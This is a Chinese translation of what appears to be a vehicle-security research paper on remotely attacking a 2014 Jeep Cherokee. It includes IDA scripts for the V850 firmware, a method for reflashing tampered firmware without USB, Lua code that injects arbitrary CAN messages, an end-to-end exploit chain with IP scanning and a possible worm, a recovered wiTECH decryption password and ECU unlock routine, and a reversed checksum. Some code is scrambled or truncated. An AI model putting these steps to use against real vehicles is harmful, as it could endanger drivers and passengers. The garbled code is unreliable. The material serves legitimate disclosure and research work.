不出意外,我们会使用IDA Pro作为我们的逆向工程平台。我们很幸运,已经有一个写好的处理器模块符合我们的架构要求,NEC V850E1/ES [V850E1]

-V850处理器类型

一旦固件加载到了IDA Pro,你就能看到固件中的第一条指令,这条指令会跳转到设置代码,初始化需要的值来实现功能。值得注意的是,简单地把跳转到初始化代码作为第一条指令在固件镜像中并不常见,Uconnect镜像只是凑巧对我们很友好:

-跳转代码

在下面你会看到,一些寄存器都设置到了特定的值,其中*有趣的是“mov 0x3FFF10C, gp”,这样我们就知道了GP寄存器的值。GP寄存器是用于设置相对地址(随后讨论)。另外,我们根据0x77966上R5位置的值判断,镜像的起始地址是0x10000。

-V850初始化代码

然后,我们可以回来并重新加载镜像ROM的起始位置,加载位置是0x10000。设置这些地址值能保证我们可以逆向所有必要的代码,并确保交叉引用会正确地暴露。

-镜像地址

仅仅是因为我们获取到了可读的V850汇编代码,还不能说项目的逆向部分就完成了。相反,我们用了几个周的时间才通过逆向V850固件,获取到了所有必要的功能,从而修改固件镜像来通过无线接口来接收任意的CAN信息。

第一步是通过查找所有的代码来正常化IDB,修复IDA Pro无法弄明白的部分,创建函数并保证所有的函数调用和交叉引用是正确的。这一过程大都是自动进行的,通过在这些位置上查找特定的操作码并创建代码。IDA Python让这个任务变得很简单:

-Python找到的代码函数

如果你的工作没有出错,你会在IDB的ROM片段中看到一篇蓝色的海洋,显示了所有确定了位置的代码和函数。

 

-IDA Pro的ROM部分

现在IDB已经是标准的了,这样我们就可以读取数据表,让V850/Fx3处理器来弄明白这些片段、地址、寄存器和其他的重要信息,用于逆向出我们需要的特定信息。

搞清楚了V850的地址空间和相关的固件是我们的首要任务。只要阅读了V850的介绍文档并弄明白了不同区段上的代码、外围设备和RAM后,这个任务就会变得很简单。

-V850的介绍文档

然后,我们可以在我们的IDB上创建合适的区段,来反映V850处理器的地址空间布局,用于运行我们的固件。我们知道ROM区段是从0x10000 开始的,直到0x70000,包含了我们的可执行代码。我们的处理器有32KB的RAM,映射的是0x3FF7000-3FFEFFF 。不出意外,变量就会储存在这个RAM区域中,并且在我们的IDB中显示,这个RAM区域中有很多交叉引用。另外还有一个特殊函数寄存器(SFR)区段。SFR是内存映射寄存器,其目的有很多。

*后,也是*有趣的,这有一个12KB的可编程外围设备I/O区域(PPA),这里面包括有CAN模块,与CAN模块相关的寄存器和相应的信息缓冲区。这个区域的基址是外围区域选择控制寄存器(BPC)指定的。一般对于微控制器来说,PPA的基址会固定到0x3FEC000。下面的图像中列出了我们在IDB中发现的所有区段。

-Uconnect的固件区段

之前我们讨论过V850是如何利用GP的相对地址来获取RAM中的变量。你会发现,使用了GP中负偏移的代码反过来会变成一个虚拟地址。比如(如下),把值-0x2DAC移动到GP,有效地从0x3FFF10C中减去0x2DAC,这样我们就得到了一个地址:0x3FFC360。

-基于GP的地址示例

我们写了一个脚本来遍历IDB中所有的函数,并为使用了GP相对地址的一些函数创建了一个交叉引用。

def do_one_function(fun):

       for ea in FuncItems(fun):

             mnu = idc.GetMnem(ea)

             # handle mova, -XXX, gp, REG

             if idc.GetOpnd(ea,1) == 'gp' and idc.GetOpType(ea,0) == 5:

                        opnd0 = idc.GetOpnd(ea,0)

                        if "unk" in opnd0:

                                continue

                        if("(" not in opnd0):

                                data_ref = gp + int(idc.GetOpnd(ea,0), 0)

                                print "MOV: Add xref from %x -> %x" % (ea, data_ref)

                                idc.add_dref(ea, data_ref, 3)

in idc.GetOpnd(ea,1):

if "CB2CTL" in op2:

        continue

# handle st.h REG, -XXX[gp]

op2 = idc.GetOpnd(ea,1)

if 'st' in mnu and idc.GetOpType(ea,0) == 1 and 'gp' in op2 and "(" not

                    end = op2.find('[')

                    if end > 0:

                           offset = int(op2[:end], 0)

                           print "ST: Add xref from %x -> %x" % (ea, gp + offset)

                           idc.add_dref(ea, gp + offset, 2)

             # handle ld.b -XXX[gp], REG

             op1 = idc.GetOpnd(ea,0)

             if 'ld' in mnu and 'gp' in op1 and idc.GetOpType(ea,1) == 1 and "(" not

in         idc.GetOpnd(ea,0):

                        if "unk" in op1:

continue

                    end = op1.find('[')

                    if end > 0:

                           offset = int(op1[:end], 0)

                           print "LD: Add xref from %x -> %x" % (ea, gp + offset)

                           idc.add_dref(ea, gp + offset, 3)

这些代码和交叉引用能让你查看变量的引用位置,并跟踪它们来查找特定的功能。

-RAM的外部引用

现在,我们已经将代码正常化了,并且RAM中的变量也有了交叉引用,接下来我们要填充PPA区段,因为CAN交互大多都是在这里进行。我们假设所有负责处理CAN的函数,比如读取总线中的信息,向队列写入信息,都会引用这个内存地址区域。在第20章,我们介绍了每个CAN模块的功能和寄存器。V850*多可以有4个CAN模块来处理每个数据包,但是,在我们的固件中,我们只发现了两个。

20.5章中列出了CAN模块使用的所有寄存器和信息缓冲区。这些寄存器和信息缓冲区来自PBA的一个偏移。如果你还记得我们上面说过的,我们的微控制器使用的PBA是0x3FEC000。然后,我们可以遍历每个模块的所有寄存器和CAN缓冲区,并在IDB中为其创建名称,这样我们就可以查找交叉引用了,反过来,我们可以借此找到与CAN总线交互的代码。下面使我们写的一个Python脚本部分,能够将合适的名称填充到PPA。完整的脚本叫做’create_segs_and_regs.py’,观察这个脚本你就能知道所有的这些区段是如何创建的,填充是如何处理的。

-在PPA中创建CAN值

接着,你可以前往IDB中的几个位置,检查这些位置上的布局和交叉引用。例如,下图中显示的就是CAN模块0中,CAN信息缓冲区的第二个和第三个位置(分别是01和02)。

 

-CAN模块0的信息缓冲区 2&3

现在,IDB已经具有了RAM中变量的交叉引用,一个填充了CAN控制寄存器和信息缓冲区的PPA部分,还有一个完全正常化的ROM代码部分。目前,我们估计已经能看见PPA部分上,CAN信息缓冲区的外部引用,但是,我们很困惑,在代码节上,我们为什么观察不到任何到PPA的引用呢?

注意:要想发现错误,我们需要做很多,需要我们在ROM区段中以代码的形式列出了一些数据,但是无论如何,我们还是会继续。

既然我们无法找到任何可行的外部引用会引用相关的CAN代码,我们决定下载IAR工作台,有很多自动化领域的工程师都会使用这个平台来给V850处理器编译代码。IAR工作台中恰好提供了我们的处理器所使用的代码示例,并且还包含了用于发送和接收CAN信息的代码样本。

-IAR中的V850 CAN 代码示例

然后,我们就可以完整的逆向‘can_transmit_msg’这个函数。我们本应该知道,代码并不会直接访问PPA,而是访问ROM中的变量,这个ROM指向的就是相关的CAN部分。只要你获取到了CAN模块阵列,并根据索引来访问这些模块,一切就都说得通了,请参考上面的IAR示例。我们现在已经有了函数的引用点,这些函数能够与CAN总线交互。

-PPA CAN变量

除了ROM中与CAN通讯相关的变量,在RAM中还引用了CAN使用的信息缓冲区和控制寄存器。基本上,PPA中的数据都会复制到RAM,反之亦然,因为这些值可以在短时间内被覆盖。例如,我们逆向了函数‘can_read_from_ram’ 和d ‘can_write_to_ram’,这两个函数的作用分别就是把PPA中的数据放到RAM,读取RAM中的数据放到PPA。

 

-can_read_from_ram

 

-can_write_to_ram

RAM中还有另外几个非常重要的区域储存着CAN ID,CAN数据长度和CAN信息数据。在RAM中储存着一些变量指针,这是发送CAN信息所不可缺少的。

 

-RAM指针

通过跟踪CAN寄存器,信息缓冲区和RAM值,我们完整的逆向了好几个用于发送和接收CAN信息的函数。对我们来说,*有用的一个函数是’can_transmit_msg_1_or_3’,这个函数会从固定CAN ID阵列中提取一个索引,在我们的例子中,获取的是一个特殊的索引,指示我们正在提供一个用户提供的CAN ID;还有一个指向了数据长度和CAN信息数据的指针。通过向RAM中的几个位置填充值,我们可以让固件发送任意的CAN信息、控制ID、长度和数据。

 

-can_transmit_msg_1_or_3

目前来说,我们的*大问题是,虽然我们有能力制作任何CAN信息,但是我们实际上没有调用函数的方法。我们可以通过修改固件来调用函数,但是我们想要找到一种方法来从OMAP芯片上发送CAN信息,使用V850作为一个代理。似乎我们有些本末倒置了,因为对于传输函数的直接调用是有限制的,没有任何函数能调用到OMAP芯片上。本质上说,Uconnect系统确实执行了一些CAN功能,但是我们无法通过入侵头单元来直接调用任何的函数,所以,我们需要另一种方式让我们的信息传递到总线上。

我们知道V850/Fx3也支持通过SPI和I2C的串行通讯,但是我们只看到过头单元与V850芯片之间使用过SPI通讯。所以,我们决定在固件中查找可以执行SPI数据解析的代码。SPI是一个非常简单的串行通讯协议,所以我们决定查找在线路上观察到的特定值,以及类似于逐字节数据解析的代码。

 

-SPI通道7

在上面的例子中,你可以看到,0x22的值被用于比较0x4A1E6上的值,这与我们在SPI 通道7上面观察到的数据吻合。接下来,在下一章,我们会使用SPI协议和修改过的IOC固件,向V850芯片发送任意数据,填充变量并发送任意的CAN信息。

注意:为了保持简洁,在这一章中我们省略了大量的细节。和往常一样,有具体问题请联系我们的邮箱。我们用了几周的时间才完成了V850固件和SPI通讯的逆向,结果表明这一部分是整个项目中*耗时耗力的。

不用USB刷V850

IOC运行在V850芯片上,能够直接访问(读/写)CAN总线,所以,我们的目标就是修改IOC并想办法从Uconnect系统上与IOC通讯。如前文所述,这个固件没有签名,并且可以从头单元上更新。对于攻击者来说,*复杂的部分就是系统只能使用U盘来更新,作为一名远程攻击者,我们无法做到这一点。我们希望能在不使用USB设备的情况下,从OMAP芯片上刷V850。

前面的章节中,我们详细的介绍过,IOC的更新是‘iocupdate’二进制通过与SPI通道4通讯,使用类似ISO-14230的命令执行的。当在应用模式下时,也就是头单元“启动”状态下,‘iocupdate’二进制不会处理V850。在常规模式下,所有发送到V850的SPI信息都会被忽略。需要让IOC进入 “bootrom”模式,才能更新固件。

但是,让V850进入 “bootrom”的唯一办法是重置V850,然后重置OMAP芯片(这样攻击者就会丢失控制)。当OMAP处理器启动进入 “更新模式”时(要想让IOC进入 “bootrom”模式,OMAP需要进入 “更新模式”),OMAP处理器会尝试从USB设备更新。这种更新方式一般是硬编码的,无法更改。

我们的主要目的是让V850进入 “更新模式”,当然,是在没有USB设备参与的情况下。在这里,我们可以远程在文件系统中放入一个镜像,通过镜像来更新V850。很显然,我们无法依靠USB设备来发动远程攻击。

第一步是运行代码来重启v850进入引导程序模式,让OMAP进入更新模式。下面是使用的LUA代码:

onoff = require "onoff"

onoff.setUpdateMode(true)

onoff.setExpectedIOCBootMode("bolo")

onoff.reset( "bolo")

下面的代码会让V850恢复成应用模式,让OMAP恢复到常规模式:

onoff = require "onoff"

onoff.setExpectedIOCBootMode( "app")

onoff.setUpdateMode(false)

onoff.reset( "app")

下一步是尝试控制V850在bootrom模式中运行的代码。以及OMAP处理器在更新模式中运行的代码,从而让我们绕过USB设备检查。还记得,当OMAP处理启动备份时,我们无法与其通讯(远程接口无法启用)。我们可以通过检查更新模式中的机器是如何启动的,从而在更新模式中运行代码。文件’bootmode.sh’是首先执行的一个文件。

不幸运的是,我们无法修改’bootmode.sh’,因为这个文件位于一个不可写目录,下面是文件的一部分。

#!/bin/sh

 #

 # Determine the boot mode from the third byte

 # of the "swdl" section of the FRAM.  A "U"

 # indicates that we are in Update mode.  Anything

 # else indicates otherwise.

 #

 inject -e -i /dev/mmap/swdl -f /tmp/bootmode -o 2 -s 1

BOOTMODE=`cat /tmp/bootmode`

echo "Bootmode flag is $BOOTMODE"

rm -f /tmp/bootmode

if [ "$BOOTMODE" != "U" ]; then

exit 0 fi

echo "Software Update Mode Detected"

waitfor /fs/mmc0/app/bin/hd 2

if [ -x /fs/mmc0/app/bin/hd ]; then

   echo "swdl contents"

   hd -v -n8 /fs/fram/swdl

   echo "system contents"

   hd -v -n16 /fs/fram/system

else

   echo "hd util not detected on MMC0"

fi

fi

你可以看到,如果OMAP芯片没有在更新模式中,剩下的所有文件都不会执行。如果OMAP芯片在更新模式中,OMAP就会继续进行并执行 ‘hd’程序。这个应用位于/fs/mmc0分区,可以修改成可写的,所以我们就修改了这个分区。因此,为了能在OAMP芯片进入更新模式,让v850进入引导程序模式执行代码,我们只需要用我们选择的代码来替换‘/fs/mmc0/app/bin/hd’。因为两个处理器都在适合的模式下,无论我们在’hd’中放什么,都能够更新V850的固件。

下面是我们修改后的’hd’:

#!/bin/sh

# update ioc

/fs/mmc0/charlie/iocupdate -c 4 -p /fs/mmc0/charlie/cmcioc.bin

# restart in app mode

lua /fs/mmc0/charlie/reset_appmode.lua

# sleep while we wait for the reset to happen

/bin/sleep 60

剩下要做的就是让‘/fs/mmc0’ 分区可写,在合适的位置放入合适的文件,然后重启进入引导程序模式。这些cao'zu都是在文件‘omap.sh’ 中完成的。

此次更新总共需要大约25秒,包括了在应用模式中启动备份所需要的时间。在应用模式中启动备份后,新的V850固件就会运行。

SPI通讯

OMAP芯片会使用一个串行外围接口,实现一个适合的协议,与V850芯片通讯。这个通讯包括了刷新V850芯片,执行DTC操作和发送CAN信息。实际上,这个通讯是在一个高级别上,通过各种服务实现的。在低级别上,可以通过读取和写入‘/dev/spi3’来实现直接通讯。

不过,似乎没有命令能让OMAP芯片来要求V850将数据字节发送给任意CAN ID。但是,V850内置了一系列的命令ID,多数硬编码数据都可以由OMAP芯片发送。作为一名攻击者,我们想要的远不止这些。

SPI信息协议

我们没有完整逆向从OMAP芯片发送到SPI芯片的整个信息协议,但是我们在这列出了一些突出点。

V850处于更新模式时,通讯和ISO 14230命令类似。如果你在逆向‘iocupdate’二进制细心一点,你就会注意到这一点。下面是发送的一些字节示例:

startDiagnosticSession: 10 85

ecuReset: 11 01

requestTransferExit: 37

requestDownload: 34 00 00 00 00 07 00 00

readEcuIdentification: 1A 87

v850处于常规模式下时,通讯似乎是复合式的。其中的一些通讯字节指示了信息的长度。信息中的第一个字节实际指示的是 “通道”,其他的字节是数据。在稍微更高的级别中,每个通道都可以通过‘/dev/ipc/ch7’ 访问。

我们并不了解所有的通道,以及这些通道各自的用处。但是其中有一些突出的:

通道 6: ctrlChan, 用于发送预先编好的CAN信息

通道 7: 与DTC和诊断相关

通道 9: 从V850中获取时间

通道 25: 某种秘钥

获取V850的版本信息

如果你观察‘platform_version.lua’ ,你就会知道如何才能获取到V850上运行的固件版本。如果你通过通道7发送两个特殊的字节,V850就会响应版本信息。

ipc_ch7:write(0xf0, 3)

...

...

local function onIpcMessage(msg)

   if msg[1] ~= 240 then

return end

if msg[2] == 3 then

versions.ioc_app_version = msg[3] .. "." .. msg[4] .. "." .. msg[5] ipc_ch7:close()

end end

所以,如果你发送‘F0 03’,预计会返回5个字节,f0, 03, x, y, z;其中版本信息就是x.y.z。你可以通过OMAP芯片上的D-Bus服务来查询版本信息,从而验证这种方法是不是准确的。

service = require "service" x=service.invoke("com.harman.service.platform", "get_all_versions", {}) print(x, 1)

  app_version: 14.05.3

  ioc_app_version: 14.2.0

  hmi_version: unknown

  eq_version: 14.05.3

  ioc_boot_version: 13.1.0

  nav_version: 13.43.7

V850的编译日期

这里的这个简单的程序就可以获取V850芯片的编译日期:

file = '/dev/ipc/ch7'

g = assert(ipc.open(file))

f = assert(io.open(file, "r+b"))

g:write(0xf0, 0x02)

bytes = f:read(0x18)

print(hex_dump(bytes))

g:close()

f:close()

下面是上述脚本的输出。编译日期是Jan 09 2014, 20:46(2014年1月9日,20:46):

# lua spi.lua

0000: 00 f0 02 42 3a 46 2f 4a ...B:F/J

0008: 61 6e 20 30 39 20 32 30 an 09 20

0010: 31 34 2f 32 30 3a 34 36 14/20:46

固件中的V850漏洞

我们已经演示了如何将篡改后的固件刷入到V850中。但是,如果它们使用了加密签名怎么办,或者你想要在不重新编程的前提下,动态地影响V850,从而不留下分析证据?我们简单地浏览一下负责解析V850固件中SPI信息的代码,并确定了一下潜在的漏洞。因为我们不需要这些漏洞,而且也没有V850调试工具,所以我们没有验证这些漏洞,但是这些漏洞似乎是内存崩溃问题。

虽然通过SPI接口来实现攻击的机会并不大,但是由于通讯的受信特性,所以,代码也不都是很安全。在v850应用固件中,SPI处理代码就存在下面的两个bug。

0004A212      ld.w    -0x7BD8[gp], r16 -- 3ff7534

0004A216      ld.w    6[r16], r17

0004A21A      mov     r17, r6

0004A21C      addi    5, r28, r7

0004A220      ld.bu   4[r28], r18

0004A224      mov     r18, r8

0004A226      jarl    memcpy, lp

在这个代码中,r28指向了通过SPI发送的用户控制数据。这段代码的反编译结果如下:

memcpy(fixed_buffer, attacker_controlled_data, attacker_controlled_len);

是一个类似的栈溢出:

0004A478      movea   arg_50, sp, r6

0004A47C      addi    5, r28, r7

0004A480      ld.bu   4[r28], r10

0004A484      mov     r10, r8

0004A486      jarl    memcpy, lp

我们已经在代码库中找到了另外的几个内存崩溃bug,但是没有列在这儿,因为我们的利用过程不需要。

通过V850芯片发送CAN信息

如果你按照我们上述的介绍来修改固件,那么通过修改你就可以从OMAP芯片中发出任意的CAN信息。实现的方式有很多种,但是*简单也*安全的方式是在SPI信息中发送CAN数据,这样信息就会传递给V850中合适的函数。我们选择了SPI通道7上的信息‘F0 02’。和前面的观察一样,这个信息对应的是获取固件的编译日期。我们选用这条命令,是因为我们没有发现任何代码会调用这条命令,所以即便我们搞砸了,也不会造成致命的错误。

处理通道7的函数位于0x4b2c6。处理‘F0 02’的代码从0x4aea4 开始。我们的技术是通过修改固件并跳转到ROM中一个没有使用过的位置,在这里放置上我们选择的任意代码。在代码结束时,我们就把执行返回到初始的位置。

-我们在固件中新添加的代码

我们使用的函数是‘can_transmit_msg_1_or_3’ (0x6729c)。这个函数会从92个固定值中选取一个作为参数,这个92个值各自对应了CAN信息阵列中(ID,长度和数据)的一个独立位置。对于大多数值而言,CAN ID是固定的。但是对于某些值来说(39和91为例),它们会从RAM中(不同其他从ROM中读取)读取CAN ID和LEN。

我们的代码会从SPI信息中读取CAN ID,并把CAN ID放到RAM中,从而读取CAN ID的位置(gp- 0x2CC4 )。然后把SPI数据包中的数据复制到RAM中的合适位置。*后,复制数据长度,并把数据长度放到预期位置。我们的代码会调用函数来传输这个信息,然后把一个值设置成r18(由我们的框架代码破坏),并按预期返回。

接着,从头单元中,类似下面的LUA代码会向高速总线和中速总线发送一个CAN信息,分别取决于你使用的是39信息还是91信息。

ipc = require("ipc")

file = '/dev/ipc/ch7'

g = assert(ipc.open(file))

-- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...

g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x0

0x01 完整的利用链

 

至此,我们已经讨论了很多方面来说明如何远程漏洞利用这辆吉普和类似的车型。目前为止,这些信息已经足够你实现完整的漏洞利用,但是我们想要总结一下漏洞链是如何自始至终发挥作用的。

识别目标

你需要车辆的IP地址。你可以随便选择一个或写一个蠕虫来入侵所有的车辆。如果你知道汽车的VIN或GPS,你可以根据你所了解的车辆停留位置来扫描其IP范围,直到发现对应的VIN或GPS。由于Sprint网络上设备速度很慢,所以这种方法是可行的,你可能需要很多台设备来执行并行扫描,*多可能需要几百台。

利用头单元中的OMAP芯片

一旦你获得了漏洞车辆的IP地址,你就可以使用合适的D-Bus服务执行方法来运行代码。*简单的就是上传一个SSH公钥和配置文件,然后启动SSH服务。此时,你就可以SSH到目标车辆并从远程终端上运行命令。

控制Uconnect系统

如果你只想控制无线电广播、HVAC、获取GPS信息或者其他不涉及CAN的攻击,你只需要使用上文中提到的LUA脚本。事实上,使用D-Bus,而不需要执行代码就可以实现大部分的功能,只是要通过使用我们提供的D-Bus服务。如果你想控制汽车的其他方面,继续往下看...

V850中刷入篡改过的固件

准备好一个篡改过的V850固件,按照前文中提到的要求就可以轻易地把修改后的固件刷入V850。这个过程需要自动重启系统,可能会向驱动报警,提示有操作在进行。如果这一步你搞糟了,头单元就会变砖,需要替换。

通过网络执行物理操作

利用篡改过的固件,发送适当的CAN信息,从而操作车辆,这是使用SPI,通过OMAP芯片向V850芯片上修改过的固件发送信息实现的。这一过程需要用到2013年文章中类似的研究知识。

通过网络了解汽车内部的物理构造

现在,在远程攻击后,我们要开始发送CAN信息。为了弄明白要发送哪些CAN信息,我们需要搞清楚吉普切诺发送的信息有哪些独有的特性。这一过程需要不断地尝试和犯错,逆向机械工具,逆向ECU固件。接下来的这一章节,我们就要完成这些工作。

机械工具

和所有的安全研究一样,要想事半功倍,合适的工具很重要。不出意外,我们需要机械工具来处理这辆吉普车。这些机械工具可以在低层级上通过CAN与ECU交互。在这些工具中包含有攻击者可能感兴趣的安全访问秘钥和诊断测试功能。

不过,我们发现这些设备并不是具有软件功能的J2534 标准直通式设备,而是wiTECH生成的专用 软件/硬件系统,价格超过了6700.00美元(约合人民币42513.51元,超过了Tech Authority一年1800美元的订阅费用)。

-wiTECH报价

虽然,某些研究可以在不是用诊断设备的情况下进行,但是很多主动测试和ECU解锁都需要分析这些机械工具。我们卖血卖了几周后,*终购买到了诊断这台吉普切诺(以及其他菲亚特-克莱斯勒车型)所需要的系统。

综述

wiTECH工具非常易用,可能是经过了重新设计。你可以观察汽车的各个方面,甚至是用图形来表示这台吉普的网络架构,这些在我们使用wiTECH设备以前是无法发现的。

-WiTech软件中显示的2014年款吉普切诺示意图

wiTECH与其他我们以前见过的诊断程序还有另外一项差别,wiTECH系统是用Java写的,而不是C/C++。这样的话,逆向工程就更容易了,因为其友好的名称,并且能够把字节代码反编译成Java源。

-wiTECH的重要文件

制造商预置的一项方法给反编译造成了困难,就是使用了字符串混淆,似乎是用Allatori混淆器生成的。如下,在java代码中搜索输出字符串并没有得到什么好结果,因为这些代码都是 “加密的”,并且只能在运行时 “解密”。

-wiTECH的字符串混淆

我们在一开始分析一些java字节代码时发现,*简单的方法就是把需要的wiTECH JARs导入到一个java应用中,并使用库中的函数来解密。下面就是我们解密的字符串和打印的结果,正好是 “flash engine is invalidated”(flash引擎失效)。

-Eclipse输出的去混淆文本

安全访问

虽然,wiTECH设备是用来收集主动测试,比如,用于启动雨刷器的CAN信息,但是*具吸引力的还是通过分析软件来搞明白其安全访问算法,用于 “解锁”一个ECU来进行再编程或其他权限操作。

再说一次,不同于我们以前研究过的任何诊断软件,wiTECH软件中似乎没有包含任何实际的代码会负责根据用于解锁ECU的种子来生成秘钥。*后,在‘jcanflash/Chrysler/dcx/securityunlock/’ 下的文件中,我们发现某些解锁函数被调用了,调用取决于要重刷的ECU类型。

在静态分析的*后,我们从中发现了一些代码‘/ngst/com/dcx/NGST/vehicle/services/security/SecurityUnlockManagerImp.java’ ,下面的代码就是来自这个位置:

localObject = new ScriptedSecurityAlgorithm(new

EncryptedSecurityU(((ScriptedSecurityMetaData)paramSecurityLevelMetaData

.getScript()));

不过,我们在检查了‘EncryptedSecurityUnlock’ 之后,并没有发现更多关于秘钥生成算法的信息。

-加密安全解锁java代码

通过跟踪安全解锁使用的方法,我们找到了位于\jcanflash\com\dcx\NGST\jCanFlash\flashfile\odx\data\scripts\unlock’ 中的一个目录,在这里有很多以‘.esu’ 结尾的文件(后来我们才知道.esu代表的是加密安全解锁)。当我们在十六进制编辑器中检查这些文件时,并没有发现任何可读的字符串或内容,对此我们并不惊讶。

-wiTECH的加密安全解锁文件

虽然我们没有解锁算法,但是我们却很清楚整个运作过程是什么样的。wiTECH应用会请求ECU来获取种子,在获得种子后,应用会判断ECU的类型,并解密解锁文件,我们认为秘钥的生成算法就在这个解锁文件中。

我们再次检查了“EncryptedSecurityUnlock”构造函数,并发现了下面的信息:

UC localUC = new UC();

SecurityUnlockFactoryImp localSecurityUnlockFactoryImp =

      new  SecurityUnlockFactoryImp();

try

{

  byte[] arrayOfByte = localUC.d(a);

传递到‘d’函数的字节流和上面的加密数据非常类似,我们去混淆了这个构造函数,得到了满意的结果。你可以看到他们非常精通l33t语言,[email protected]

Uc.init(“G3n3r@ti0n”, “MD5”, “”, “BC”, “AES”, new String[]

{“com.chrysler.lx.UnlockCryptographerTest”,

"com.dcx.securityunlock.encrypted.EncryptedSecurityUnlock", “”,

“com.dcx.NGST.jCanFlash.flashfile.efd2.SecurityUnlockBuilderImpTest”});

在运行了“00A6.esu” (如上)上的解密例程后,现在我们能看到这确实是一个用于根据种子生成秘钥的JavaScript。

 

-解密后的javascript解锁文件

在解密了用于解锁ECU的文件后,我们就能够看到javascript脚本了,并可以把脚本的功能移植到Python。不出意外的话,这个算法中还涉及到了一些秘密和简单的位元操作,因为在自动化行业中,这些技术几乎无处不在。在下面的截图中,是我们用来解锁吉普切诺中各种ECU的Python代码,但是很多其他的车型可能也应用了相同的算法。完整的代码可以在’JeepUnlock.py’的内容数据包中找到。

 

-吉普切诺的ECU解锁算法

应该注意,与我们之前研究的福特和丰田车不同,我们实际上不需要安全访问秘钥就可以执行攻击。安全访问算法的唯一作用就是用来重刷ECU,而我们并没有对此进行探索。

PAM ECU逆向

通过利用机械工具,我们能够执行主动测试,并嗅探测试结果。另外,我们还知道了安全算法和秘钥,允许我们执行权限操作。但是,机械工具发送的信息是固定的,也没有使用校验和。我们检查发现ECU之间的流量经常会使用校验和。如果,我们想要自己制作CAN信息(不是简单的回复现有的信息),我们需要理解这些校验和。为此,我们必须观察执行校验和的代码,而这些代码只会出现在ECU本身中。

很多时候,通过观察嗅探得到的CAN流量就足够判断车速、刹车比率和其他的情况。另外,这些CAN信息中*后的数据字节就是校验和。例如,下面的信息就来自一款2010年的丰田普锐斯,这款车就使用了车道维持辅助系统(LKA)。

IDH: 02, IDL: E4, Len: 05, Data: 98 00 00 00 83

IDH: 02, IDL: E4, Len: 05, Data: 9A 00 00 00 85

IDH: 02, IDL: E4, Len: 05, Data: 9E 00 00 00 89

在每条信息中,*后的字节是CAN ID、数据长度和数据字节的一个整数加法校验和(限制为1字节),通过分析几条信息就能想到这一点。我们发现大多数信息不是纵向冗余检查(异或校验和)就是整数加法校验和,但是泊车辅助模块(PAM)使用的校验和与我们之前看到的都不一样。下面的信息就是2014款吉普切诺的PAM模块发送的。

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 06 7F

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 08 D9

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 19 09

PAM信息使用的校验和算法不仅与我们知道的不同,而且也不同于库普曼在论文中介绍的校验和技术和CRC数据完整性技术。我们认为,如果我们能获取到固件并逆向其代码,我们就能识别出校验和算法,这样我们就可以制作任意的信息,让监听CAN总线的ECU认为信息是有效的。

很幸运,wiTECH软件为我们提供了所有必要的信息来网购一个PAM模块,序列号:56038998AJ;我们可以从任何销售MOPAR部件的销售商那里下单。

-2014年吉普车的泊车辅助模块

wiTECH工具还能够更新PAM,也提示我们固件可以从网上下载并本地储存到计算机上来执行更新。这点很明确,在调查了运行wiTECH笔记本上的文件系统,我们找到了目录:‘%PROGRAMDATA%\wiTECH\jserver\userData\file\flashfiles’。这个目录下包含着固件缓存,这样软件就不需要在每次刷新事件时,重新下载副本。

我们还不确定哪个文件是哪个,这些文件是如何编码的,所以在重刷两个ECU的过程中,我们捕捉了CAN流量。再对比在文件重刷过程中的数据,我们可以推断出其中一个文件就是泊车辅助模块的更新。我们在文件5603899ah.efd上运行了字符串来查找 “PAM”字符串,结果表明,这个固件更新就是我们要获取的固件。

C:\Jeep\pam>strings 56038998ah.efd | grep PAM

PAM

PAM_CUSW SU

.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h

.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h

.\PAM_DSW\DSW_Adapter\src\DSW4BSW_PDM2NVM.c

注意:你会注意到我们还没有聪明到能根据EFD文件的名称,也就是2014年吉普切诺泊车辅助模块的序列号,来推断出路径是不是正确的。

这个文件本身并不只是一个固件镜像,而是包含了wiTECH软件使用的元数据,其目的并不单一。幸运的是,我们可以通过wiTECH软件中提供的JAR文件来实现特定的方法调用,从而发现真正的字符串偏移和固件的大小。

在导入了合适的类后,下面的调用链会披露真正的起始偏移和固件大小。

String user_file = "C:/Jeep/pam/56038998ah.efd";

UserFileImp ufi = new UserFileImp(user_file); ff.load(ufi);    

 

Microprocessor mps[] = ff.getMicroprocessors();

StandardMicroprocessor smp = (StandardMicroprocessor)mps[0];    

 

LogicalBlock lb = smp.getLogicalBlocks()[0];    

 

PhysicalBlockImp pb = (PhysicalBlockImp)lb.getPhysicalBlocks()[0];    

 

System.out.println("Block Len: " + pb.getBlockLength());

System.out.println("Block len (uncomp): " + pb.getUncompressedBlockLength());

System.out.println("File Offset: " + pb.getFileOffset());

System.out.println("Start Address: " + pb.getStartAddress());

上面的输出代码如下:

Block Len: 733184

Block len (uncomp): 733184

File Offset: 3363

Start Address: 8192

现在,我们已经掌握了所有需要的信息来写一个Python脚本,提取固件并开始逆向。

还**下的一个主要问题是,我们仍然无法完全确定PAM模块中使用的CPU是什么架构的。*佳的行动方案就是打开PAM模块,通过观察主板上的标志来判断。如果我们能确定芯片标志,那么很可能我们就能够判断出使用的是哪个处理器,并在IDA Pro中开始反汇编固件。

-PAM PCB

虽然不容易发现,主要MCU上的标志是D70F3634,我们通过谷歌搜到这是Renesas v850芯片。很幸运,信息娱乐系统上使用的也是这个芯片,所以先前的逆向脚本,技术和工具都可以再用。

现在,我们已经从更新中提取出了固件,并知道了其架构,我们可以通过逆向这个二进制,找到用于计算校验和的函数。在经过了一些讨论后,我们认为其中的一个常量可能经过了异或,从而导致校验和虽然有类似的有效载荷但是区别很大。快速地进行搜索后,我们发现了一个函数异或了一些值,并且似乎具有某些循环。这个函数是一个**的逆向候选。

 

我们首先把反汇编语言逆向成了C语言,因为本文的作者之一就是个神经病。这时候,C函数就可以移植到Python进行测试。下面的代码是从反汇编中得到的Python代码。

-PAM校验和算法

def calc_checksum(data, length):

    end_index = length - 1

    index = 0

    checksum = 0xFF

    temp_chk = 0;

    bit_sum = 0;

    if(end_index <= index):

        return False

    for index in range(0, end_index):

        shift = 0x80

        curr = data[index]

        iterate = 8

        while(iterate > 0):

            iterate -= 1

            bit_sum = curr & shift;

